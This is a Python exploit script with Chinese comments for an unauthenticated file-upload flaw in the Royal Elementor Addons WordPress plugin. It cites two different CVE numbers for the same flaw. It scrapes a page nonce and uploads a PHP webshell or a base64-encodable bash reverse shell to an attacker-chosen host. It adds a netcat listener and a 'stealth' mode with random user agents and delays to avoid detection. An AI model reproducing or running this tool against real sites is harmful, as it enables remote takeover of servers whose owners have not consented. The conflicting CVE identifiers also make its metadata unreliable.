1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
|
#!/usr/bin/env python3
# 标题 Royal Elementor Addons - 未授权远程代码执行 CVE-2023-5360
# 作者 @ibrahimsql https://ibrahimsql.com
# 日期 10/17/2025
# 供应商 https://royal-elementor-addons.com/
# 参考 https://nvd.nist.gov/vuln/detail/CVE-2023-5360
# https://github.com/ibrahmsql
import argparse
import base64
import json
import random
import re
import requests
import string
import subprocess
import sys
import threading
import time
from io import BytesIO
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings()
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15"
]
class RoyalElementorExploit:
def __init__(self, target, stealth=False, verbose=False):
self.target = target.rstrip('/')
self.parsed = urlparse(target)
self.root = f"{self.parsed.scheme}://{self.parsed.netloc}"
self.session = requests.Session()
self.stealth = stealth
self.verbose = verbose
self.nonce = None
if stealth:
self.session.headers.update({'User-Agent': random.choice(USER_AGENTS)})
else:
self.session.headers.update({'User-Agent': 'python-requests'})
def log(self, msg, level="info"):
prefix = {"info": "[*]", "success": "[+]", "error": "[-]", "debug": "[D]"}
if level == "debug" and not self.verbose:
return
print(f"{prefix.get(level, '[*]')} {msg}")
def verify_target(self):
self.log("验证目标漏洞...")
try:
r = self.session.get(self.target, timeout=10, verify=False)
if r.status_code != 200:
self.log(f"目标返回 HTTP {r.status_code}", "error")
return False
if "elementor" not in r.text.lower():
self.log("目标似乎未使用 Elementor", "error")
return False
self.log("目标验证成功", "success")
return True
except Exception as e:
self.log(f"连接失败: {e}", "error")
return False
def extract_nonce(self):
self.log("提取 Elementor Nonce...")
if self.stealth:
time.sleep(random.uniform(0.5, 2.0))
try:
r = self.session.get(self.target, timeout=10, verify=False)
match = re.search(r'WprConfig\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"', r.text)
if not match:
self.log("提取 Nonce 失败", "error")
return False
self.nonce = match.group(1)
self.log(f"Nonce 已提取: {self.nonce}", "success")
return True
except Exception as e:
self.log(f"Nonce 提取失败: {e}", "error")
return False
def generate_payload(self, mode, lhost=None, lport=None, encode=False):
shell_name = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
if mode == "webshell":
cmd_param = ''.join(random.choices(string.ascii_letters, k=6))
payload = f"<?php if(isset($_GET['{cmd_param}'])) {{system($_GET['{cmd_param}']);}} unlink(__FILE__); ?>"
return payload, shell_name, cmd_param
elif mode == "reverse":
shell_cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'"
if encode:
encoded = base64.b64encode(shell_cmd.encode()).decode()
payload = f"<?php exec(base64_decode('{encoded}')); unlink(__FILE__); ?>"
else:
payload = f"<?php exec(\"{shell_cmd}\"); unlink(__FILE__); ?>"
return payload, shell_name, None
return None, None, None
def upload_payload(self, payload, shell_name, retries=3):
self.log(f"上传载荷 (重试次数: {retries})...")
for attempt in range(1, retries + 1):
self.log(f"尝试 {attempt}/{retries}", "debug")
if self.stealth and attempt > 1:
time.sleep(random.uniform(1.0, 3.0))
data = {
'wpr_addons_nonce': self.nonce,
'max_file_size': 100,
'allowed_file_types': ',',
'action': 'wpr_addons_upload_file',
'triggering_event': 'click'
}
files = {
'uploaded_file': (f"{shell_name}.php.", BytesIO(payload.encode()))
}
try:
r = self.session.post(
f"{self.root}/wp-admin/admin-ajax.php",
data=data,
files=files,
timeout=15,
verify=False
)
self.log(f"上传响应: HTTP {r.status_code}", "debug")
response_data = r.json()
shell_url = response_data.get('data', {}).get('url')
if shell_url:
self.log(f"载荷已上传: {shell_url}", "success")
return shell_url
self.log(f"上传失败: {response_data}", "debug")
except Exception as e:
self.log(f"上传尝试失败: {e}", "debug")
self.log("所有上传尝试均失败", "error")
return None
def trigger_shell(self, shell_url, mode):
self.log("触发载荷...")
try:
r = self.session.get(shell_url, timeout=5, verify=False)
if mode == "reverse":
self.log("反向 Shell 已触发 (预期会超时)", "success")
else:
self.log(f"Shell 已触发: HTTP {r.status_code}", "success")
return True
except requests.exceptions.Timeout:
if mode == "reverse":
self.log("反向 Shell 已触发 (超时属正常情况)", "success")
return True
except Exception as e:
self.log(f"触发失败: {e}", "error")
return False
def exploit(self, mode, lhost=None, lport=None, encode=False, listen=False):
if not self.verify_target():
return False
if not self.extract_nonce():
return False
payload, shell_name, cmd_param = self.generate_payload(mode, lhost, lport, encode)
if not payload:
self.log("载荷生成失败", "error")
return False
if mode == "reverse" and listen:
self.log(f"在 {lhost}:{lport} 上启动监听器...")
listener_thread = threading.Thread(
target=lambda: subprocess.call(['nc', '-lvnp', str(lport)]),
daemon=True
)
listener_thread.start()
time.sleep(2)
shell_url = self.upload_payload(payload, shell_name)
if not shell_url:
return False
if mode == "webshell":
self.log(f"Webshell 地址: {shell_url}?{cmd_param}=<command>", "success")
self.log(f"示例: {shell_url}?{cmd_param}=id", "success")
return True
elif mode == "reverse":
self.trigger_shell(shell_url, mode)
if listen:
self.log("检查您的监听器是否有连接!", "success")
return True
def main():
parser = argparse.ArgumentParser(
description="Royal Elementor Addons CVE-2025-34299 漏洞利用 (CVSS 9.8)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
示例:
python3 exploit.py http://target.com/page --mode webshell --stealth
python3 exploit.py http://target.com/page --mode reverse --lhost 10.10.10.5 --lport 4444 --listen
python3 exploit.py http://target.com/page --mode reverse --lhost 10.10.10.5 --lport 4444 --encode --stealth
"""
)
parser.add_argument("target", help="目标 Elementor 页面 URL")
parser.add_argument("--mode", choices=["webshell", "reverse"], default="webshell",
help="攻击模式 (默认: webshell)")
parser.add_argument("--lhost", help="监听主机 (用于反向 Shell)")
parser.add_argument("--lport", type=int, help="监听端口 (用于反向 Shell)")
parser.add_argument("--listen", action="store_true", help="启动内置监听器 (nc)")
parser.add_argument("--encode", action="store_true", help="Base64 编码载荷")
parser.add_argument("--stealth", action="store_true", help="启用隐身模式 (随机UA + 延迟)")
parser.add_argument("--verbose", "-v", action="store_true", help="详细输出")
args = parser.parse_args()
if args.mode == "reverse" and (not args.lhost or not args.lport):
parser.error("反向 Shell 模式需要 --lhost 和 --lport 参数")
print(f"[*] Royal Elementor Addons 漏洞利用 (CVE-2025-34299)")
print(f"[*] CVSS 评分: 9.8 严重 | CWE-434: 无限制文件上传")
print(f"[*] 目标: {args.target}")
print(f"[*] 模式: {args.mode.upper()}")
if args.stealth:
print(f"[*] 隐身模式: 启用")
print()
exploit = RoyalElementorExploit(args.target, stealth=args.stealth, verbose=args.verbose)
success = exploit.exploit(
mode=args.mode,
lhost=args.lhost,
lport=args.lport,
encode=args.encode,
listen=args.listen
)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()
|